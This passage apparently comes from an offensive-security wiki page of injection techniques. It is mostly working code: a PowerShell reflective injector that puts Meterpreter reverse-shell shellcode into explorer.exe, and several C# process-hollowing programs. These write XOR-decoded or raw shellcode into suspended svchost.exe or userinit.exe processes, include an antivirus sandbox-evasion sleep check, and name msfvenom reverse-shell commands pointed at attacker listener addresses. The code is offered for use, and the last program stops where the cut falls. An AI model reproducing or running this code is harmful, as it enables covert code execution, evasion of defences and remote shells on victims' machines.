    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Powershell ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
function LookupFunc {&lt;br /&gt;
    Param ($moduleName, $functionName)&lt;br /&gt;
    $assem = ([AppDomain]::CurrentDomain.GetAssemblies() |&lt;br /&gt;
    Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split(&#039;\\&#039;)[-1].&lt;br /&gt;
    Equals(&#039;System.dll&#039;) }).GetType(&#039;Microsoft.Win32.UnsafeNativeMethods&#039;)&lt;br /&gt;
    $tmp=@()&lt;br /&gt;
    $assem.GetMethods() | ForEach-Object {If($_.Name -eq &amp;quot;GetProcAddress&amp;quot;) {$tmp+=$_}}&lt;br /&gt;
    return $tmp[0].Invoke($null, @(($assem.GetMethod(&#039;GetModuleHandle&#039;)).Invoke($null,&lt;br /&gt;
    @($moduleName)), $functionName))&lt;br /&gt;
}&lt;br /&gt;
function getDelegateType {&lt;br /&gt;
    Param (&lt;br /&gt;
    [Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,&lt;br /&gt;
    [Parameter(Position = 1)] [Type] $delType = [Void]&lt;br /&gt;
    )&lt;br /&gt;
    $type = [AppDomain]::CurrentDomain.&lt;br /&gt;
    DefineDynamicAssembly((New-Object System.Reflection.AssemblyName(&#039;ReflectedDelegate&#039;)),&lt;br /&gt;
    [System.Reflection.Emit.AssemblyBuilderAccess]::Run).&lt;br /&gt;
    DefineDynamicModule(&#039;InMemoryModule&#039;, $false).&lt;br /&gt;
    DefineType(&#039;MyDelegateType&#039;, &#039;Class, Public, Sealed, AnsiClass, AutoClass&#039;,&lt;br /&gt;
    [System.MulticastDelegate])&lt;br /&gt;
    $type.&lt;br /&gt;
    DefineConstructor(&#039;RTSpecialName, HideBySig, Public&#039;,&lt;br /&gt;
    [System.Reflection.CallingConventions]::Standard, $func).&lt;br /&gt;
    SetImplementationFlags(&#039;Runtime, Managed&#039;)&lt;br /&gt;
    $type.&lt;br /&gt;
    DefineMethod(&#039;Invoke&#039;, &#039;Public, HideBySig, NewSlot, Virtual&#039;, $delType, $func).&lt;br /&gt;
    SetImplementationFlags(&#039;Runtime, Managed&#039;)&lt;br /&gt;
    return $type.CreateType()&lt;br /&gt;
}&lt;br /&gt;
$procId = (Get-Process explorer).Id&lt;br /&gt;
# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.49.67 LPORT=443 EXITFUNC=thread -f ps1&lt;br /&gt;
[Byte[]] $buf = 0xfc,0x48,0x83,0xe4...[REST OF SHELLCODE]&lt;br /&gt;
# C#: IntPtr hProcess = OpenProcess(ProcessAccessFlags.All, false, procId);&lt;br /&gt;
$hProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll OpenProcess),&lt;br /&gt;
  (getDelegateType @([UInt32], [UInt32], [UInt32])([IntPtr]))).Invoke(0x001F0FFF, 0, $procId)&lt;br /&gt;
# C#: IntPtr expAddr = VirtualAllocEx(hProcess, IntPtr.Zero, (uint)len, AllocationType.Commit | AllocationType.Reserve, MemoryProtection.ExecuteReadWrite);&lt;br /&gt;
$expAddr = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualAllocEx),&lt;br /&gt;
  (getDelegateType @([IntPtr], [IntPtr], [UInt32], [UInt32], [UInt32])([IntPtr]))).Invoke($hProcess, [IntPtr]::Zero, [UInt32]$buf.Length, 0x3000, 0x40)&lt;br /&gt;
# C#: bool procMemResult = WriteProcessMemory(hProcess, expAddr, buf, len, out bytesWritten);&lt;br /&gt;
$procMemResult = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll WriteProcessMemory),&lt;br /&gt;
  (getDelegateType @([IntPtr], [IntPtr], [Byte[]], [UInt32], [IntPtr])([Bool]))).Invoke($hProcess, $expAddr, $buf, [Uint32]$buf.Length, [IntPtr]::Zero)&lt;br /&gt;
# C#: IntPtr threadAddr = CreateRemoteThread(hProcess, IntPtr.Zero, 0, expAddr, IntPtr.Zero, 0, IntPtr.Zero);&lt;br /&gt;
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll CreateRemoteThread),&lt;br /&gt;
  (getDelegateType @([IntPtr], [IntPtr], [UInt32], [IntPtr], [UInt32], [IntPtr]))).Invoke($hProcess, [IntPtr]::Zero, 0, $expAddr, 0, [IntPtr]::Zero)&lt;br /&gt;
Write-Host &amp;quot;Injected! Check your listener!&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Process Hollowing ==&lt;br /&gt;
&lt;br /&gt;
Process Hollowing is a method used by attackers to inject malicious code into a legitimate process while keeping the process running. This allows the attacker to hide their activities within a trusted process, potentially evading detection.&lt;br /&gt;
&lt;br /&gt;
=== Stageless XOR&#039;d ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
namespace ProcessHollowing&lt;br /&gt;
{&lt;br /&gt;
    public class Program&lt;br /&gt;
    {&lt;br /&gt;
        public const uint CREATE_SUSPENDED = 0x4;&lt;br /&gt;
        public const int PROCESSBASICINFORMATION = 0;&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)]&lt;br /&gt;
        public struct ProcessInfo&lt;br /&gt;
        {&lt;br /&gt;
            public IntPtr hProcess;&lt;br /&gt;
            public IntPtr hThread;&lt;br /&gt;
            public Int32 ProcessId;&lt;br /&gt;
            public Int32 ThreadId;&lt;br /&gt;
        }&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)]&lt;br /&gt;
        public struct StartupInfo&lt;br /&gt;
        {&lt;br /&gt;
            public uint cb;&lt;br /&gt;
            public string lpReserved;&lt;br /&gt;
            public string lpDesktop;&lt;br /&gt;
            public string lpTitle;&lt;br /&gt;
            public uint dwX;&lt;br /&gt;
            public uint dwY;&lt;br /&gt;
            public uint dwXSize;&lt;br /&gt;
            public uint dwYSize;&lt;br /&gt;
            public uint dwXCountChars;&lt;br /&gt;
            public uint dwYCountChars;&lt;br /&gt;
            public uint dwFillAttribute;&lt;br /&gt;
            public uint dwFlags;&lt;br /&gt;
            public short wShowWindow;&lt;br /&gt;
            public short cbReserved2;&lt;br /&gt;
            public IntPtr lpReserved2;&lt;br /&gt;
            public IntPtr hStdInput;&lt;br /&gt;
            public IntPtr hStdOutput;&lt;br /&gt;
            public IntPtr hStdError;&lt;br /&gt;
        }&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential)]&lt;br /&gt;
        internal struct ProcessBasicInfo&lt;br /&gt;
        {&lt;br /&gt;
            public IntPtr Reserved1;&lt;br /&gt;
            public IntPtr PebAddress;&lt;br /&gt;
            public IntPtr Reserved2;&lt;br /&gt;
            public IntPtr Reserved3;&lt;br /&gt;
            public IntPtr UniquePid;&lt;br /&gt;
            public IntPtr MoreReserved;&lt;br /&gt;
        }&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern void Sleep(uint dwMilliseconds);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, CharSet = CharSet.Ansi)]&lt;br /&gt;
        static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes,&lt;br /&gt;
            IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory,&lt;br /&gt;
            [In] ref StartupInfo lpStartupInfo, out ProcessInfo lpProcessInformation);&lt;br /&gt;
        [DllImport(&amp;quot;ntdll.dll&amp;quot;, CallingConvention = CallingConvention.StdCall)]&lt;br /&gt;
        private static extern int ZwQueryInformationProcess(IntPtr hProcess, int procInformationClass,&lt;br /&gt;
            ref ProcessBasicInfo procInformation, uint ProcInfoLen, ref uint retlen);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, [Out] byte[] lpBuffer,&lt;br /&gt;
            int dwSize, out IntPtr lpNumberOfbytesRW);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern uint ResumeThread(IntPtr hThread);&lt;br /&gt;
        public static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            // AV evasion: Sleep for 10s and detect if time really passed&lt;br /&gt;
            DateTime t1 = DateTime.Now;&lt;br /&gt;
            Sleep(10000);&lt;br /&gt;
            double deltaT = DateTime.Now.Subtract(t1).TotalSeconds;&lt;br /&gt;
            if (deltaT &amp;lt; 9.5)&lt;br /&gt;
            {&lt;br /&gt;
                return;&lt;br /&gt;
            }&lt;br /&gt;
            // msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.232.133 LPORT=443 EXITFUNC=thread -f csharp&lt;br /&gt;
            // XORed with key 0xfa&lt;br /&gt;
            byte[] buf = new byte[511] {&lt;br /&gt;
            0x06, ...SHELLCODE HERE&lt;br /&gt;
            };&lt;br /&gt;
            // Start &#039;svchost.exe&#039; in a suspended state&lt;br /&gt;
            StartupInfo sInfo = new StartupInfo();&lt;br /&gt;
            ProcessInfo pInfo = new ProcessInfo();&lt;br /&gt;
            bool cResult = CreateProcess(null, &amp;quot;c:\\windows\\system32\\svchost.exe&amp;quot;, IntPtr.Zero, IntPtr.Zero,&lt;br /&gt;
                false, CREATE_SUSPENDED, IntPtr.Zero, null, ref sInfo, out pInfo);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Started &#039;svchost.exe&#039; in a suspended state with PID {pInfo.ProcessId}. Success: {cResult}.&amp;quot;);&lt;br /&gt;
            // Get Process Environment Block (PEB) memory address of suspended process (offset 0x10 from base image)&lt;br /&gt;
            ProcessBasicInfo pbInfo = new ProcessBasicInfo();&lt;br /&gt;
            uint retLen = new uint();&lt;br /&gt;
            long qResult = ZwQueryInformationProcess(pInfo.hProcess, PROCESSBASICINFORMATION, ref pbInfo, (uint)(IntPtr.Size * 6), ref retLen);&lt;br /&gt;
            IntPtr baseImageAddr = (IntPtr)((Int64)pbInfo.PebAddress + 0x10);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Got process information and located PEB address of process at {&amp;quot;0x&amp;quot; + baseImageAddr.ToString(&amp;quot;x&amp;quot;)}. Success: {qResult == 0}.&amp;quot;);&lt;br /&gt;
            // Get entry point of the actual process executable&lt;br /&gt;
            // This one is a bit complicated, because this address differs for each process (due to Address Space Layout Randomization (ASLR))&lt;br /&gt;
            // From the PEB (address we got in last call), we have to do the following:&lt;br /&gt;
            // 1. Read executable address from first 8 bytes (Int64, offset 0) of PEB and read data chunk for further processing&lt;br /&gt;
            // 2. Read the field &#039;e_lfanew&#039;, 4 bytes at offset 0x3C from executable address to get the offset for the PE header&lt;br /&gt;
            // 3. Take the memory at this PE header add an offset of 0x28 to get the Entrypoint Relative Virtual Address (RVA) offset&lt;br /&gt;
            // 4. Read the value at the RVA offset address to get the offset of the executable entrypoint from the executable address&lt;br /&gt;
            // 5. Get the absolute address of the entrypoint by adding this value to the base executable address. Success!&lt;br /&gt;
            // 1. Read executable address from first 8 bytes (Int64, offset 0) of PEB and read data chunk for further processing&lt;br /&gt;
            byte[] procAddr = new byte[0x8];&lt;br /&gt;
            byte[] dataBuf = new byte[0x200];&lt;br /&gt;
            IntPtr bytesRW = new IntPtr();&lt;br /&gt;
            bool result = ReadProcessMemory(pInfo.hProcess, baseImageAddr, procAddr, procAddr.Length, out bytesRW);&lt;br /&gt;
            IntPtr executableAddress = (IntPtr)BitConverter.ToInt64(procAddr, 0);&lt;br /&gt;
            result = ReadProcessMemory(pInfo.hProcess, executableAddress, dataBuf, dataBuf.Length, out bytesRW);&lt;br /&gt;
            Console.WriteLine($&amp;quot;DEBUG: Executable base address: {&amp;quot;0x&amp;quot; + executableAddress.ToString(&amp;quot;x&amp;quot;)}.&amp;quot;);&lt;br /&gt;
            // 2. Read the field &#039;e_lfanew&#039;, 4 bytes (UInt32) at offset 0x3C from executable address to get the offset for the PE header&lt;br /&gt;
            uint e_lfanew = BitConverter.ToUInt32(dataBuf, 0x3c);&lt;br /&gt;
            Console.WriteLine($&amp;quot;DEBUG: e_lfanew offset: {&amp;quot;0x&amp;quot; + e_lfanew.ToString(&amp;quot;x&amp;quot;)}.&amp;quot;);&lt;br /&gt;
            // 3. Take the memory at this PE header add an offset of 0x28 to get the Entrypoint Relative Virtual Address (RVA) offset&lt;br /&gt;
            uint rvaOffset = e_lfanew + 0x28;&lt;br /&gt;
            Console.WriteLine($&amp;quot;DEBUG: RVA offset: {&amp;quot;0x&amp;quot; + rvaOffset.ToString(&amp;quot;x&amp;quot;)}.&amp;quot;);&lt;br /&gt;
            // 4. Read the 4 bytes (UInt32) at the RVA offset to get the offset of the executable entrypoint from the executable address&lt;br /&gt;
            uint rva = BitConverter.ToUInt32(dataBuf, (int)rvaOffset);&lt;br /&gt;
            Console.WriteLine($&amp;quot;DEBUG: RVA value: {&amp;quot;0x&amp;quot; + rva.ToString(&amp;quot;x&amp;quot;)}.&amp;quot;);&lt;br /&gt;
            // 5. Get the absolute address of the entrypoint by adding this value to the base executable address. Success!&lt;br /&gt;
            IntPtr entrypointAddr = (IntPtr)((Int64)executableAddress + rva);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Got executable entrypoint address: {&amp;quot;0x&amp;quot; + entrypointAddr.ToString(&amp;quot;x&amp;quot;)}.&amp;quot;);&lt;br /&gt;
            // Carrying on, decode the XOR payload&lt;br /&gt;
            for (int i = 0; i &amp;lt; buf.Length; i++)&lt;br /&gt;
            {&lt;br /&gt;
                buf[i] = (byte)((uint)buf[i] ^ 0xfa);&lt;br /&gt;
            }&lt;br /&gt;
            Console.WriteLine(&amp;quot;XOR-decoded payload.&amp;quot;);&lt;br /&gt;
            // Overwrite the memory at the identified address to &#039;hijack&#039; the entrypoint of the executable&lt;br /&gt;
            result = WriteProcessMemory(pInfo.hProcess, entrypointAddr, buf, buf.Length, out bytesRW);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Overwrote entrypoint with payload. Success: {result}.&amp;quot;);&lt;br /&gt;
            // Resume the thread to trigger our payload&lt;br /&gt;
            uint rResult = ResumeThread(pInfo.hThread);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Triggered payload. Success: {rResult == 1}. Check your listener!&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Stageless 2 ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
//https://github.com/mvelazc0/defcon27_csharp_workshop/tree/master/Labs/lab7&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Text;&lt;br /&gt;
using System.Threading;&lt;br /&gt;
&lt;br /&gt;
public class Program&lt;br /&gt;
{&lt;br /&gt;
    const int PROCESS_CREATE_THREAD = 0x0002;&lt;br /&gt;
    const int PROCESS_QUERY_INFORMATION = 0x0400;&lt;br /&gt;
    const int PROCESS_VM_OPERATION = 0x0008;&lt;br /&gt;
    const int PROCESS_VM_WRITE = 0x0020;&lt;br /&gt;
    const int PROCESS_VM_READ = 0x0010;&lt;br /&gt;
    //https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-openthread&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    //static extern IntPtr OpenThread(ThreadAccess dwDesiredAccess, bool bInheritHandle, uint dwThreadId);&lt;br /&gt;
    static extern IntPtr OpenThread(uint dwDesiredAccess, bool bInheritHandle, uint dwThreadId);&lt;br /&gt;
    //https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-suspendthread&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    static extern uint SuspendThread(IntPtr hThread);&lt;br /&gt;
    //https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-resumethread&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    static extern int ResumeThread(IntPtr hThread);&lt;br /&gt;
    //https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/content/wdm/nf-wdm-zwunmapviewofsection&lt;br /&gt;
    [DllImport(&amp;quot;ntdll.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
    private static extern uint NtUnmapViewOfSection(IntPtr hProcess, IntPtr lpBaseAddress);&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);&lt;br /&gt;
&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    //public static extern IntPtr VirtualAllocEx(IntPtr lpHandle,IntPtr lpAddress, IntPtr dwSize, AllocationType flAllocationType, MemoryProtection flProtect);&lt;br /&gt;
    public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, Int32 dwSize, UInt32 flAllocationType, UInt32 flProtect);&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);&lt;br /&gt;
    //https://docs.microsoft.com/en-us/windows/desktop/api/synchapi/nf-synchapi-waitforsingleobject&lt;br /&gt;
    [DllImport(&amp;quot;kernel32&amp;quot;)]&lt;br /&gt;
    private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] buffer, IntPtr dwSize, int lpNumberOfBytesWritten);&lt;br /&gt;
    private static UInt32 MEM_COMMIT = 0x1000;&lt;br /&gt;
    private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;&lt;br /&gt;
    private static UInt32 SUSPEND_RESUME = 0x0002;&lt;br /&gt;
    public static void Main()&lt;br /&gt;
    {&lt;br /&gt;
&lt;br /&gt;
// msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -f csharp&lt;br /&gt;
        byte[] shellcode = new byte[193] {0xfc,0xe8,0x82,0x00,0x00,0x00,&lt;br /&gt;
0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0x0c,&lt;br /&gt;
0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,&lt;br /&gt;
0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,&lt;br /&gt;
0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,&lt;br /&gt;
0x11,0x78,0xe3,0x48,0x01,0xd1,0x51,0x8b,0x59,0x20,0x01,0xd3,&lt;br /&gt;
0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,&lt;br /&gt;
0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,&lt;br /&gt;
0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,&lt;br /&gt;
0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,&lt;br /&gt;
0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,&lt;br /&gt;
0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x6a,&lt;br /&gt;
0x01,0x8d,0x85,0xb2,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,&lt;br /&gt;
0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x68,0xa6,0x95,0xbd,&lt;br /&gt;
0x9d,0xff,0xd5,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,&lt;br /&gt;
0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x53,0xff,0xd5,0x63,0x61,&lt;br /&gt;
0x6c,0x63,0x2e,0x65,0x78,0x65,0x00};&lt;br /&gt;
&lt;br /&gt;
        string proc = &amp;quot;userinit.exe&amp;quot;;&lt;br /&gt;
        Process newproc;&lt;br /&gt;
        newproc = Process.Start(proc);&lt;br /&gt;
        Console.WriteLine(&amp;quot;Started &amp;quot; + proc + &amp;quot; with Process Id:&amp;quot; + newproc.Id);&lt;br /&gt;
        Console.WriteLine(&amp;quot;Suspending process...&amp;quot;);&lt;br /&gt;
        foreach (ProcessThread thread in newproc.Threads)&lt;br /&gt;
        {&lt;br /&gt;
            IntPtr pOpenThread;&lt;br /&gt;
            pOpenThread = OpenThread(SUSPEND_RESUME, false, (uint)thread.Id);&lt;br /&gt;
            if (pOpenThread == IntPtr.Zero)&lt;br /&gt;
            {&lt;br /&gt;
                break;&lt;br /&gt;
            }&lt;br /&gt;
            SuspendThread(pOpenThread);&lt;br /&gt;
        }&lt;br /&gt;
        Console.WriteLine(&amp;quot;Suspended!&amp;quot;);&lt;br /&gt;
        IntPtr procHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, newproc.Id);&lt;br /&gt;
        IntPtr spaceAddr = VirtualAllocEx(procHandle, IntPtr.Zero, shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);&lt;br /&gt;
        Console.WriteLine(&amp;quot;Allocating memory&amp;quot;);&lt;br /&gt;
        WriteProcessMemory(procHandle, spaceAddr, shellcode, new IntPtr(shellcode.Length), 0);&lt;br /&gt;
        Console.WriteLine(&amp;quot;Copied shellcode in memory&amp;quot;);&lt;br /&gt;
        IntPtr pinfo = IntPtr.Zero;&lt;br /&gt;
        IntPtr threatH = CreateRemoteThread(procHandle, new IntPtr(0), new uint(), spaceAddr, new IntPtr(0), new uint(), new IntPtr(0));&lt;br /&gt;
        Console.WriteLine(&amp;quot;Created remote thread&amp;quot;);&lt;br /&gt;
        Console.WriteLine(&amp;quot;Resuming process...&amp;quot;);&lt;br /&gt;
        foreach (ProcessThread thread in newproc.Threads)&lt;br /&gt;
        {&lt;br /&gt;
            IntPtr pOpenThread;&lt;br /&gt;
            pOpenThread = OpenThread(SUSPEND_RESUME, false, (uint)thread.Id);&lt;br /&gt;
            if (pOpenThread == IntPtr.Zero)&lt;br /&gt;
            {&lt;br /&gt;
                break;&lt;br /&gt;
            }&lt;br /&gt;
            ResumeThread(pOpenThread);&lt;br /&gt;
        }&lt;br /&gt;
        Console.WriteLine(&amp;quot;Resumed!&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Staged - Download payload through CIFS/SMB ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
namespace ProcessHollowingExample&lt;br /&gt;
{&lt;br /&gt;
    internal class Program&lt;br /&gt;
    {&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, CharSet = CharSet.Ansi)]&lt;br /&gt;
        static extern bool CreateProcess(string lpApplicationName, string lpCommandLine,&lt;br /&gt;
            IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles,&lt;br /&gt;
            uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory,&lt;br /&gt;
            [In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);&lt;br /&gt;
        [DllImport(&amp;quot;ntdll.dll&amp;quot;, CallingConvention = CallingConvention.StdCall)]&lt;br /&gt;
        private static extern int ZwQueryInformationProcess(IntPtr hProcess,&lt;br /&gt;
            int procInformationClass, ref PROCESS_BASIC_INFORMATION procInformation,&lt;br /&gt;
            uint ProcInfoLen, ref uint retlen);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,&lt;br /&gt;
            [Out] byte[] lpBuffer, int dwSize, out IntPtr lpNumberOfBytesRead);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,&lt;br /&gt;
            byte[] lpBuffer, int nSize, out IntPtr lpNumberOfBytesWritten);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        private static extern uint ResumeThread(IntPtr hThread);&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi)]&lt;br /&gt;
        struct STARTUPINFO&lt;br /&gt;
        {&lt;br /&gt;
            public Int32 cb;&lt;br /&gt;
            public IntPtr lpReserved;&lt;br /&gt;
            public IntPtr lpDesktop;&lt;br /&gt;
            public IntPtr lpTitle;&lt;br /&gt;
            public Int32 dwX;&lt;br /&gt;
            public Int32 dwY;&lt;br /&gt;
            public Int32 dwXSize;&lt;br /&gt;
            public Int32 dwYSize;&lt;br /&gt;
            public Int32 dwXCountChars;&lt;br /&gt;
            public Int32 dwYCountChars;&lt;br /&gt;
            public Int32 dwFillAttribute;&lt;br /&gt;
            public Int32 dwFlags;&lt;br /&gt;
            public Int16 wShowWindow;&lt;br /&gt;
            public Int16 cbReserved2;&lt;br /&gt;
            public IntPtr lpReserved2;&lt;br /&gt;
            public IntPtr hStdInput;&lt;br /&gt;
            public IntPtr hStdOutput;&lt;br /&gt;
            public IntPtr hStdError;&lt;br /&gt;
        }&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential)]&lt;br /&gt;
        internal struct PROCESS_INFORMATION&lt;br /&gt;
        {&lt;br /&gt;
            public IntPtr hProcess;&lt;br /&gt;
            public IntPtr hThread;&lt;br /&gt;
            public int dwProcessId;&lt;br /&gt;
            public int dwThreadId;&lt;br /&gt;
        }&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential)]&lt;br /&gt;
        internal struct PROCESS_BASIC_INFORMATION&lt;br /&gt;
        {&lt;br /&gt;
            public IntPtr Reserved1;&lt;br /&gt;
            public IntPtr PebAddress;&lt;br /&gt;
            public IntPtr Reserved2;&lt;br /&gt;
            public IntPtr Reserved3;&lt;br /&gt;
            public IntPtr UniquePid;&lt;br /&gt;
            public IntPtr MoreReserved;&lt;br /&gt;
        }&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            string targetPath = &amp;quot;C:\\Windows\\System32\\svchost.exe&amp;quot;;&lt;br /&gt;
// msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.126 LPORT=7474 -f raw -o shellcode.bin -b &#039;\x00\x0a\x0d&#039;&lt;br /&gt;
            string shellcodePath = &amp;quot;path_to_shellcode.bin&amp;quot;; // Replace with the actual shellcode file path&lt;br /&gt;
            IntPtr processHandle, threadHandle;&lt;br /&gt;
            uint threadId;&lt;br /&gt;
            // Create a suspended process&lt;br /&gt;
            STARTUPINFO si = new STARTUPINFO();&lt;br /&gt;
            PROCESS_INFORMATION pi = new PROCESS_INFORMATION();&lt;br /&gt;
            bool success = CreateProcess(null, targetPath, IntPtr.Zero, IntPtr.Zero,&lt;br /&gt;
                false, 0x4, IntPtr.Zero, null, ref si, out pi);&lt;br /&gt;
            if (!success)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;CreateProcess failed: &amp;quot; + Marshal.GetLastWin32Error());&lt;br /&gt;
                return;&lt;br /&gt;
            }&lt;br /&gt;
            // Query process information to get the PEB address&lt;br /&gt;
            PROCESS_BASIC_INFORMATION bi = new PROCESS_BASIC_INFORMATION();&lt;br /&gt;
            uint tmp = 0;&lt;br /&gt;
            IntPtr hProcess = pi.hProcess;&lt;br /&gt;
            ZwQueryInformationProcess(hProcess, 0, ref bi, (uint)(IntPtr.Size * 6), ref tmp);&lt;br /&gt;
